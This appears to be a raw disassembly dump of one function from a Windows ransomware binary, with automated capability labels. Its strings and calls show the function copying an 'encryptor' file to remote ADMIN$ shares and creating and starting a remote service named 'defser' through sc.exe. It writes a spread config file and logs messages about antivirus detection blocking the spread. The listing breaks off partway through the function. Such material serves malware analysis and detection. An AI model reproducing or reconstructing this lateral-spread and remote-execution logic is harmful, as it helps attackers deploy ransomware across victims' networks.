Function at 0x1400372f0
Capabilities:
Clear file content
Get file size
Read file on windows
Write file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x448
movaps xmmword [rsp + 0x430], xmm12
movaps xmmword [rsp + 0x420], xmm11
movaps xmmword [rsp + 0x410], xmm10
movaps xmmword [rsp + 0x400], xmm9
movaps xmmword [rsp + 0x3f0], xmm8
movdqa xmmword [rsp + 0x3e0], xmm7
movaps xmmword [rsp + 0x3d0], xmm6
mov qword [rsp + 0x198], r8
mov qword [rsp + 0x100], rdx
lea r13, [rsp + 0x148]
mov qword [rsp + 0x148], r13
mov qword [rsp + 0x150], r13
mov qword [rsp + 0x158], 0
mov qword [rsp + 0x3b0], 0
mov qword [rsp + 0x108], rcx
mov rax, qword [rcx]
movzx eax, byte [rax]
or al, byte [0x1402d721c]
je 0x1400391ff
mov rax, qword [rsp + 0x198]
mov r12, qword [rax]
lea rsi, [rax + 8]
cmp r12, rsi
je 0x1400391ff
mov rax, qword [rsp + 0x100]
lea rbp, [rax + 2]
xorps xmm6, xmm6
movdqa xmm7, xmmword [0x140259540]
lea r15, str.ADMIN_
jmp 0x1400373ec
mov r12, rax
cmp rax, rsi
je 0x1400391ff
lea rdi, [r12 + 0x22]
test byte [r12 + 0x20], 1
mov rcx, rdi
je 0x140037401
mov rcx, qword [r12 + 0x30]
mov rdx, r15
call qword [sym.imp.msvcrt.dll__wcsicmp]
test eax, eax
jne 0x140039150
lea rbx, [rsp + 0xe0]
mov rcx, rbx
lea rdx, [0x14025e488]
mov r8, qword [rsp + 0x100]
call fcn.140013830
mov rcx, rbx
lea rdx, [0x140259684]
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x90], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x80], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
movzx r8d, byte [r12 + 0x20]
test r8b, 1
je 0x14003747a
mov rdi, qword [r12 + 0x30]
mov r8, qword [r12 + 0x28]
jmp 0x14003747d
shr r8, 1
lea rcx, [rsp + 0x80]
mov rdx, rdi
call fcn.140075c20
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xd0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xc0], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
test byte [rsp + 0x80], 1
je 0x1400374c8
mov rcx, qword [rsp + 0x90]
call fcn.140073240
test byte [rsp + 0xe0], 1
je 0x1400374df
mov rcx, qword [rsp + 0xf0]
call fcn.140073240
lea rcx, [rsp + 0x398]
lea rdx, [rsp + 0xc0]
call fcn.140075840
lea rdx, [r12 + 0x38]
lea rcx, [rsp + 0x398]
lea r8, [rsp + 0x3b0]
call fcn.140059e60
test byte [rsp + 0x398], 1
je 0x140037525
mov rcx, qword [rsp + 0x3a8]
call fcn.140073240
lea rcx, [rsp + 0x380]
lea rdx, [rsp + 0xc0]
call fcn.140075840
lea rcx, [rsp + 0x380]
call fcn.140013b20
mov ebx, eax
test byte [rsp + 0x380], 1
je 0x140037560
mov rcx, qword [rsp + 0x390]
call fcn.140073240
test bl, bl
je 0x14003912a
lea rdi, [rsp + 0x60]
mov rcx, rdi
lea rdx, [0x14025e488]
mov r8, qword [rsp + 0x100]
call fcn.140013830
mov rcx, rdi
lea rdx, [0x140259684]
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xf0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xe0], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rcx, [rsp + 0xe0]
lea rdx, [0x14025e49a]
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x90], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x80], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
test byte [rsp + 0xe0], 1
je 0x140037604
mov rcx, qword [rsp + 0xf0]
call fcn.140073240
test byte [rsp + 0x60], 1
je 0x140037615
mov rcx, qword [rsp + 0x70]
call fcn.140073240
movzx ebx, byte [rsp + 0x80]
mov eax, ebx
and al, 1
je 0x14003762d
mov rbx, qword [rsp + 0x88]
jmp 0x140037630
shr rbx, 1
lea r14, [rbx + 0x13]
movabs rcx, 0x7fffffffffffffef
cmp r14, rcx
ja 0x14003a98f
cmp r14, 0xa
ja 0x140037667
movaps xmmword [rsp + 0x60], xmm6
mov qword [rsp + 0x70], 0
add r14b, r14b
mov byte [rsp + 0x60], r14b
xor edi, edi
jmp 0x1400376ad
mov r13, r14
or r13, 7
inc r13
js 0x14003a9ae
mov rcx, r13
add rcx, r13
call fcn.1400731c0
mov rdi, rax
or r13, 1
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x68], r14
movzx eax, byte [rsp + 0x80]
and al, 1
mov r14d, r13d
lea r13, [rsp + 0x148]
test r14b, 1
lea rcx, [rsp + 0x62]
cmove rdi, rcx
lea rdx, [rsp + 0x82]
test al, al
je 0x1400376ce
mov rdx, qword [rsp + 0x90]
lea r8, [rbx + rbx]
mov rcx, rdi
call sub.msvcrt.dll_memmove
movabs rax, 0x730065006c0063
mov qword [rdi + rbx*2 + 0x1e], rax
movups xmm8, xmmword [str.programdata_secles]
movups xmmword [rdi + rbx*2], xmm8
movups xmm9, xmmword [0x140259960]
movups xmmword [rdi + rbx*2 + 0x10], xmm9
mov word [rdi + rbx*2 + 0x26], 0
lea rcx, [rsp + 0x60]
lea rdx, str._running.txt
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xf0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xe0], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
test byte [rsp + 0xe0], 1
lea rcx, [rsp + 0xe2]
je 0x14003775a
mov rcx, qword [rsp + 0xf0]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
mov edx, 3
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
mov rdi, rax
test byte [rsp + 0xe0], 1
je 0x14003779e
mov rcx, qword [rsp + 0xf0]
call fcn.140073240
test byte [rsp + 0x60], 1
je 0x1400377af
mov rcx, qword [rsp + 0x70]
call fcn.140073240
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov ebx, eax
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
and ebx, 0xfffffffe
cmp ebx, 0x20
je 0x14003a792
cmp byte [0x1402d721c], 0
je 0x1400390ff
movzx ebx, byte [rsp + 0x80]
mov eax, ebx
and al, 1
je 0x1400377f1
mov rbx, qword [rsp + 0x88]
jmp 0x1400377f4
shr rbx, 1
lea r14, [rbx + 0xe]
movabs rcx, 0x7fffffffffffffef
cmp r14, rcx
ja 0x14003a9a1
cmp r14, 0xa
ja 0x140037834
movaps xmmword [rsp + 0xe0], xmm6
mov qword [rsp + 0xf0], 0
add r14b, r14b
mov byte [rsp + 0xe0], r14b
xor edi, edi
jmp 0x140037883
mov r13, r14
or r13, 7
inc r13
js 0x14003a9c5
mov rcx, r13
add rcx, r13
call fcn.1400731c0
mov rdi, rax
or r13, 1
mov qword [rsp + 0xe0], r13
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xe8], r14
movzx eax, byte [rsp + 0x80]
and al, 1
mov r14d, r13d
lea r13, [rsp + 0x148]
test r14b, 1
lea rcx, [rsp + 0xe2]
cmove rdi, rcx
lea rdx, [rsp + 0x82]
test al, al
je 0x1400378a7
mov rdx, qword [rsp + 0x90]
lea r8, [rbx + rbx]
mov rcx, rdi
call sub.msvcrt.dll_memmove
movups xmm0, xmmword [0x14025e554]
movups xmmword [rdi + rbx*2 + 0xc], xmm0
movdqu xmm0, xmmword [str.Program_Files]
movdqu xmmword [rdi + rbx*2], xmm0
mov word [rdi + rbx*2 + 0x1c], 0
cmp byte [0x1402d721d], 0
je 0x1400378f4
movzx ebx, byte [rsp + 0xc0]
mov eax, ebx
and al, 1
je 0x14003794c
mov rbx, qword [rsp + 0xc8]
jmp 0x14003794f
lea rdi, [rsp + 0x2c0]
mov rcx, rdi
lea rdx, [rsp + 0xe0]
call fcn.140075840
mov rcx, rdi
call fcn.1400232b0
test al, al
je 0x140037cb3
test byte [rsp + 0x2c0], 1
lea r13, [rsp + 0x148]
lea rdi, [rsp + 0xa0]
je 0x140037e4b
mov rcx, qword [rsp + 0x2d0]
call fcn.140073240
jmp 0x140037e4b
shr rbx, 1
lea r14, [rbx + 1]
movabs rcx, 0x7fffffffffffffef
cmp r14, rcx
ja 0x14003a9b3
cmp r14, 0xa
ja 0x14003798f
movaps xmmword [rsp + 0xa0], xmm6
mov qword [rsp + 0xb0], 0
add r14b, r14b
mov byte [rsp + 0xa0], r14b
xor edi, edi
jmp 0x1400379de
mov r13, r14
or r13, 7
inc r13
js 0x14003a9ca
mov rcx, r13
add rcx, r13
call fcn.1400731c0
mov rdi, rax
or r13, 1
mov qword [rsp + 0xa0], r13
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0xa8], r14
movzx eax, byte [rsp + 0xc0]
and al, 1
mov r14d, r13d
lea r13, [rsp + 0x148]
test r14b, 1
lea rcx, [rsp + 0xa2]
cmove rdi, rcx
lea rdx, [rsp + 0xc2]
test al, al
je 0x140037a02
mov rdx, qword [rsp + 0xd0]
lea r8, [rbx + rbx]
mov rcx, rdi
call sub.msvcrt.dll_memmove
mov dword [rdi + rbx*2], 0x5c
movzx r8d, byte [0x1402da5c0]
test r8b, 1
lea r14, [rsp + 0xa0]
je 0x140037a3b
mov rdx, qword [0x1402da5d0]
mov r8, qword [0x1402da5c8]
jmp 0x140037a45
shr r8, 1
lea rdx, [0x1402da5c2]
mov rcx, r14
call fcn.140075c20
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x70], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x60], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
test byte [rsp + 0x60], 1
lea rcx, [rsp + 0x62]
je 0x140037a7c
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
mov edx, 2
mov r8d, 1
xor r9d, r9d
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
mov rdi, rax
test byte [rsp + 0x60], 1
je 0x140037abd
mov rcx, qword [rsp + 0x70]
call fcn.140073240
test byte [rsp + 0xa0], 1
je 0x140037ad4
mov rcx, qword [rsp + 0xb0]
call fcn.140073240
lea rax, [rdi + 1]
cmp rax, 1
ja 0x140037b71
lea rdi, [rsp + 0x110]
mov rcx, rdi
lea rdx, str.could_not_create_encryptor_file_in
mov r8, qword [rsp + 0x100]
call fcn.140013830
mov rcx, rdi
lea rdx, str._auto_spread_failed___win32_error_:
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xb0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xa0], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
call qword [sym.imp.KERNEL32.DLL_GetLastError]
lea rcx, [rsp + 0x130]
mov edx, eax
call fcn.140076dc0
movzx r8d, byte [rsp + 0x130]
test r8b, 1
je 0x140037bec
mov rdx, qword [rsp + 0x140]
mov r8, qword [rsp + 0x138]
jmp 0x140037bf7
movzx eax, byte [0x1402da570]
mov r8, rax
shr r8, 1
test al, 1
mov rdx, qword [0x1402da580]
lea rax, [0x1402da571]
cmove rdx, rax
mov dword [rsp + 0x194], 0
cmovne r8d, dword [0x1402da578]
mov qword [rsp + 0x20], 0
mov rcx, rdi
lea r9, [rsp + 0x194]
call qword [sym.imp.KERNEL32.DLL_WriteFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_SetEndOfFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
movzx eax, byte [0x1402da570]
test al, 1
je 0x140037ccb
mov rax, qword [0x1402da578]
jmp 0x140037cce
shr r8, 1
lea rdx, [rsp + 0x132]
mov rcx, r14
call fcn.140075c20
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x70], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x60], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
test byte [rsp + 0x60], 1
lea rcx, [rsp + 0x62]
je 0x140037c2e
mov rcx, qword [rsp + 0x70]
mov dl, 1
call fcn.140011c60
test byte [rsp + 0x60], 1
jne 0x140037c60
test byte [rsp + 0x130], 1
jne 0x140037c74
test byte [rsp + 0xa0], 1
jne 0x140037c8b
test byte [rsp + 0x110], 1
je 0x1400390dc
jmp 0x140037ca6
mov rcx, qword [rsp + 0x70]
call fcn.140073240
test byte [rsp + 0x130], 1
je 0x140037c46
mov rcx, qword [rsp + 0x140]
call fcn.140073240
test byte [rsp + 0xa0], 1
je 0x140037c50
mov rcx, qword [rsp + 0xb0]
call fcn.140073240
test byte [rsp + 0x110], 1
je 0x1400390dc
mov rcx, qword [rsp + 0x120]
jmp 0x1400390d7
movzx ebx, byte [rsp + 0xe0]
mov eax, ebx
and al, 1
je 0x140037d0b
mov rbx, qword [rsp + 0xe8]
jmp 0x140037d0e
shr rax, 1
mov ecx, dword [rsp + 0x194]
cmp rax, rcx
jne 0x140039058
cmp byte [0x1402db7e1], 0
jne 0x140037ec9
mov rax, qword [rsp + 0x108]
mov rcx, qword [rax + 8]
movzx eax, byte [rcx]
test al, 1
je 0x140037eac
mov rax, qword [rcx + 8]
jmp 0x140037eaf
shr rbx, 1
lea r14, [rbx + 6]
movabs rcx, 0x7fffffffffffffef
cmp r14, rcx
ja 0x14003a9cf
cmp r14, 0xa
ja 0x140037d4e
movaps xmmword [rsp + 0x1a0], xmm6
mov qword [rsp + 0x1b0], 0
add r14b, r14b
mov byte [rsp + 0x1a0], r14b
xor edi, edi
jmp 0x140037d95
mov r13, r14
or r13, 7
inc r13
js 0x14003aa0a
mov rcx, r13
add rcx, r13
call fcn.1400731c0
mov rdi, rax
or r13, 1
mov qword [rsp + 0x1a0], r13
mov qword [rsp + 0x1b0], rax
mov qword [rsp + 0x1a8], r14
movzx eax, byte [rsp + 0xe0]
and al, 1
mov r14d, r13d
test r14b, 1
lea rcx, [rsp + 0x1a2]
cmove rdi, rcx
lea rdx, [rsp + 0xe2]
test al, al
je 0x140037db9
mov rdx, qword [rsp + 0xf0]
lea r8, [rbx + rbx]
mov rcx, rdi
call sub.msvcrt.dll_memmove
movabs rax, 0x38007800280020
mov qword [rdi + rbx*2], rax
mov dword [rdi + rbx*2 + 8], 0x290036
mov word [rdi + rbx*2 + 0xc], 0
lea rcx, [rsp + 0x1a0]
call fcn.1400232b0
lea r13, [rsp + 0x148]
lea rdi, [rsp + 0xa0]
mov ebx, eax
test byte [rsp + 0x1a0], 1
jne 0x140037e1f
test byte [rsp + 0x2c0], 1
jne 0x140037e36
test bl, bl
jne 0x1400378dc
jmp 0x140037e4b
mov rcx, qword [rsp + 0x1b0]
call fcn.140073240
test byte [rsp + 0x2c0], 1
je 0x140037e15
mov rcx, qword [rsp + 0x2d0]
call fcn.140073240
test bl, bl
jne 0x1400378dc
mov rcx, rdi
lea rdx, str.auto_spread_for_ip
mov r8, qword [rsp + 0x100]
call fcn.140013830
mov rcx, rdi
lea rdx, str._was_NOT_done_failed___AV_detected__do_it_manully
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x70], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x60], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
test byte [rsp + 0x60], 1
lea rcx, [rsp + 0x62]
je 0x140037ea0
mov rcx, qword [rsp + 0x70]
mov dl, 1
call fcn.140011c60
jmp 0x1400390b4
shr rax, 1
test rax, rax
jne 0x140037ec9
lea rcx, str.could_not_read_slspread.txt_file_file_doesnt_exist___will_autospread_with_config_file_on_target_machines
mov dl, 1
call fcn.140011c60
mov byte [0x1402db7e1], 1
mov rax, qword [rsp + 0x108]
mov rdi, qword [rax + 8]
movzx eax, byte [rdi]
test al, 1
je 0x140037ee2
mov rax, qword [rdi + 8]
jmp 0x140037ee5
shr rax, 1
test rax, rax
mov qword [rsp + 0x188], rbp
je 0x1400381a9
movzx r14d, byte [rsp + 0xc0]
mov eax, r14d
and al, 1
je 0x140037f10
mov r14, qword [rsp + 0xc8]
jmp 0x140037f13
shr r14, 1
lea rbp, [r14 + 0xd]
movabs rcx, 0x7fffffffffffffef
cmp rbp, rcx
ja 0x14003aa0f
cmp rbp, 0xa
ja 0x140037f4a
movaps xmmword [rsp + 0x60], xmm6
mov qword [rsp + 0x70], 0
add bpl, bpl
mov byte [rsp + 0x60], bpl
xor ebx, ebx
jmp 0x140037f9c
mov r13, rbp
or r13, 7
inc r13
js 0x14003aa3a
mov rcx, r13
add rcx, r13
call fcn.1400731c0
mov rbx, rax
or r13, 1
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x68], rbp
movzx eax, byte [rsp + 0xc0]
and al, 1
mov rcx, qword [rsp + 0x108]
mov rdi, qword [rcx + 8]
mov ebp, r13d
lea r13, [rsp + 0x148]
test bpl, 1
lea rcx, [rsp + 0x62]
cmove rbx, rcx
lea rdx, [rsp + 0xc2]
test al, al
je 0x140037fbd
mov rdx, qword [rsp + 0xd0]
lea r8, [r14 + r14]
mov rcx, rbx
call sub.msvcrt.dll_memmove
movups xmm0, xmmword [str._slconfig.txt]
movups xmmword [rbx + r14*2], xmm0
movdqu xmm0, xmmword [0x140259aac]
movdqu xmmword [rbx + r14*2 + 0xa], xmm0
mov word [rbx + r14*2 + 0x1a], 0
test byte [rsp + 0x60], 1
lea rcx, [rsp + 0x62]
mov rbp, qword [rsp + 0x188]
je 0x140038005
mov rcx, qword [rsp + 0x70]
movzx ebx, byte [rdi]
test bl, 1
je 0x140038017
mov rbx, qword [rdi + 8]
mov rdi, qword [rdi + 0x10]
jmp 0x14003801d
inc rdi
shr rbx, 1
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
mov edx, 2
mov r8d, 3
xor r9d, r9d
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
mov r14, rax
inc rax
cmp rax, 2
jae 0x14003805a
xor edi, edi
jmp 0x1400380a5
mov dword [rsp + 0xa0], 0
mov qword [rsp + 0x20], 0
mov rcx, r14
mov rdx, rdi
mov r8d, ebx
lea r9, [rsp + 0xa0]
call qword [sym.imp.KERNEL32.DLL_WriteFile]
mov rcx, r14
call qword [sym.imp.KERNEL32.DLL_SetEndOfFile]
mov rcx, r14
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [rsp + 0xa0]
cmp rbx, rax
sete dil
test byte [rsp + 0x60], 1
lea rbx, [rsp + 0xa0]
je 0x1400380be
mov rcx, qword [rsp + 0x70]
call fcn.140073240
test dil, dil
jne 0x1400381a9
lea rdi, [rsp + 0x110]
mov rcx, rdi
lea rdx, str.could_not_write_slconfig_file_in
mov r8, qword [rsp + 0x100]
call fcn.140013830
mov rcx, rdi
lea rdx, str._auto_spread_will_be_done_without_config_file_on
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xb0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xa0], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
mov rax, qword [rsp + 0x100]
movzx r8d, byte [rax]
test r8b, 1
je 0x140038135
mov rdx, qword [rax + 0x10]
mov r8, qword [rax + 8]
jmp 0x14003813b
shr r8, 1
mov rdx, rbp
mov rcx, rbx
call fcn.140075c20
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x70], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x60], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
test byte [rsp + 0x60], 1
lea rcx, [rsp + 0x62]
je 0x140038172
mov rcx, qword [rsp + 0x70]
mov dl, 1
call fcn.140011c60
test byte [rsp + 0x60], 1
jne 0x140038db7
test byte [rsp + 0xa0], 1
jne 0x140038dcf
test byte [rsp + 0x110], 1
je 0x1400381a9
mov rcx, qword [rsp + 0x120]
call fcn.140073240
movzx ebx, byte [0x1402da388]
mov eax, ebx
and al, 1
je 0x1400381bf
mov rbx, qword [0x1402da390]
jmp 0x1400381c2
shr rbx, 1
lea r14, [rbx + 0x18]
movabs rcx, 0x7fffffffffffffef
cmp r14, rcx
ja 0x14003aa00
cmp r14, 0xa
ja 0x1400381f9
movaps xmmword [rsp + 0x60], xmm6
mov qword [rsp + 0x70], 0
add r14b, r14b
mov byte [rsp + 0x60], r14b
xor edi, edi
jmp 0x14003823e
mov r13, r14
or r13, 7
inc r13
js 0x14003aa19
mov rcx, r13
add rcx, r13
call fcn.1400731c0
mov rdi, rax
or r13, 1
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x68], r14
movzx eax, byte [0x1402da388]
and al, 1
mov r14d, r13d
lea r13, [rsp + 0x148]
test r14b, 1
lea rcx, [rsp + 0x62]
cmove rdi, rcx
lea rdx, [0x1402da38a]
test al, al
je 0x14003825d
mov rdx, qword [0x1402da398]
lea r8, [rbx + rbx]
mov rcx, rdi
call sub.msvcrt.dll_memmove
movups xmm10, xmmword [str.WindowsSystem32_sc.exe]
movups xmmword [rdi + rbx*2], xmm10
movups xmm11, xmmword [0x14025e780]
movups xmmword [rdi + rbx*2 + 0x10], xmm11
movups xmm12, xmmword [0x14025e790]
movups xmmword [rdi + rbx*2 + 0x20], xmm12
mov word [rdi + rbx*2 + 0x30], 0
test byte [rsp + 0x60], 1
lea rdi, [rsp + 0x62]
je 0x1400382aa
mov rdi, qword [rsp + 0x70]
mov byte [rsp + 0x268], 4
mov dword [rsp + 0x26a], 0x5c005c
mov word [rsp + 0x26e], 0
mov rax, qword [rsp + 0x100]
movzx r8d, byte [rax]
test r8b, 1
je 0x1400382e3
mov rdx, qword [rax + 0x10]
mov r8, qword [rax + 8]
jmp 0x1400382e9
shr r8, 1
mov rdx, rbp
lea rcx, [rsp + 0x268]
call fcn.140075c20
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x290], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x280], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rcx, [rsp + 0x280]
lea rdx, str._create
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x2b0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x2a0], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rcx, [rsp + 0x2a0]
lea rdx, str.defser
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x170], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x160], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rcx, [rsp + 0x160]
lea rdx, str._binPath__c:windows_
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x140], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x130], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
movzx r8d, byte [0x1402da5c0]
test r8b, 1
je 0x1400383e0
mov rdx, qword [0x1402da5d0]
mov r8, qword [0x1402da5c8]
jmp 0x1400383ea
shr r8, 1
lea rdx, [0x1402da5c2]
lea rcx, [rsp + 0x130]
call fcn.140075c20
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x120], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x110], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rcx, [rsp + 0x110]
lea rdx, str.__start_auto_type_own
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xb0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xa0], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
test byte [rsp + 0xa0], 1
lea rdx, [rsp + 0xa2]
je 0x14003846d
mov rdx, qword [rsp + 0xb0]
mov qword [rsp + 0x28], 0
mov byte [rsp + 0x20], 0
mov rcx, rdi
mov r8b, 1
xor r9d, r9d
call fcn.1400579b0
test byte [rsp + 0xa0], 1
jne 0x140038524
test byte [rsp + 0x110], 1
jne 0x14003853f
test byte [rsp + 0x130], 1
jne 0x14003855a
test byte [rsp + 0x160], 1
jne 0x140038575
test byte [rsp + 0x2a0], 1
jne 0x140038590
test byte [rsp + 0x280], 1
jne 0x1400385ab
test byte [rsp + 0x268], 1
jne 0x1400385c6
test byte [rsp + 0x60], 1
je 0x1400384fc
mov rcx, qword [rsp + 0x70]
call fcn.140073240
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.DLL_Sleep]
movzx ebx, byte [0x1402da388]
mov eax, ebx
and al, 1
je 0x1400385e3
mov rbx, qword [0x1402da390]
jmp 0x1400385e6
mov rcx, qword [rsp + 0xb0]
call fcn.140073240
test byte [rsp + 0x110], 1
je 0x1400384a5
mov rcx, qword [rsp + 0x120]
call fcn.140073240
test byte [rsp + 0x130], 1
je 0x1400384b3
mov rcx, qword [rsp + 0x140]
call fcn.140073240
test byte [rsp + 0x160], 1
je 0x1400384c1
mov rcx, qword [rsp + 0x170]
call fcn.140073240
test byte [rsp + 0x2a0], 1
je 0x1400384cf
mov rcx, qword [rsp + 0x2b0]
call fcn.140073240
test byte [rsp + 0x280], 1
je 0x1400384dd
mov rcx, qword [rsp + 0x290]
call fcn.140073240
test byte [rsp + 0x268], 1
je 0x1400384eb
mov rcx, qword [rsp + 0x278]
call fcn.140073240
test byte [rsp + 0x60], 1
jne 0x1400384f2
jmp 0x1400384fc
shr rbx, 1
lea r14, [rbx + 0x18]
movabs rcx, 0x7fffffffffffffef
cmp r14, rcx
ja 0x14003a9f6
cmp r14, 0xa
ja 0x14003861d
movaps xmmword [rsp + 0x60], xmm6
mov qword [rsp + 0x70], 0
add r14b, r14b
mov byte [rsp + 0x60], r14b
xor edi, edi
jmp 0x140038662
mov r13, r14
or r13, 7
inc r13
js 0x14003aa1e
mov rcx, r13
add rcx, r13
call fcn.1400731c0
mov rdi, rax
or r13, 1
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x68], r14
movzx eax, byte [0x1402da388]
and al, 1
mov r14d, r13d
lea r13, [rsp + 0x148]
test r14b, 1
lea rcx, [rsp + 0x62]
cmove rdi, rcx
lea rdx, [0x1402da38a]
test al, al
je 0x140038681
mov rdx, qword [0x1402da398]
lea r8, [rbx + rbx]
mov rcx, rdi
call sub.msvcrt.dll_memmove
movups xmmword [rdi + rbx*2], xmm10
movups xmmword [rdi + rbx*2 + 0x10], xmm11
movups xmmword [rdi + rbx*2 + 0x20], xmm12
mov word [rdi + rbx*2 + 0x30], 0
test byte [rsp + 0x60], 1
lea rdi, [rsp + 0x62]
je 0x1400386b6
mov rdi, qword [rsp + 0x70]
mov byte [rsp + 0x160], 4
mov dword [rsp + 0x162], 0x5c005c
mov word [rsp + 0x166], 0
mov rax, qword [rsp + 0x100]
movzx r8d, byte [rax]
test r8b, 1
je 0x1400386ef
mov rdx, qword [rax + 0x10]
mov r8, qword [rax + 8]
jmp 0x1400386f5
shr r8, 1
mov rdx, rbp
lea rcx, [rsp + 0x160]
call fcn.140075c20
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x140], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x130], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rcx, [rsp + 0x130]
lea rdx, str._start
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x120], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x110], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rcx, [rsp + 0x110]
lea rdx, str.defser
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xb0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xa0], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
test byte [rsp + 0xa0], 1
lea rdx, [rsp + 0xa2]
je 0x1400387b0
mov rdx, qword [rsp + 0xb0]
mov qword [rsp + 0x28], 0
mov byte [rsp + 0x20], 0
mov rcx, rdi
mov r8b, 1
xor r9d, r9d
call fcn.1400579b0
test byte [rsp + 0xa0], 1
jne 0x140038828
test byte [rsp + 0x110], 1
jne 0x14003883f
test byte [rsp + 0x130], 1
jne 0x140038856
test byte [rsp + 0x160], 1
jne 0x14003886d
test byte [rsp + 0x60], 1
je 0x140038805
mov rcx, qword [rsp + 0x70]
call fcn.140073240
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.DLL_Sleep]
movzx ebx, byte [rsp + 0x80]
mov eax, ebx
and al, 1
je 0x14003888a
mov rbx, qword [rsp + 0x88]
jmp 0x14003888d
mov rcx, qword [rsp + 0xb0]
call fcn.140073240
test byte [rsp + 0x110], 1
je 0x1400387e0
mov rcx, qword [rsp + 0x120]
call fcn.140073240
test byte [rsp + 0x130], 1
je 0x1400387ea
mov rcx, qword [rsp + 0x140]
call fcn.140073240
test byte [rsp + 0x160], 1
je 0x1400387f4
mov rcx, qword [rsp + 0x170]
call fcn.140073240
test byte [rsp + 0x60], 1
jne 0x1400387fb
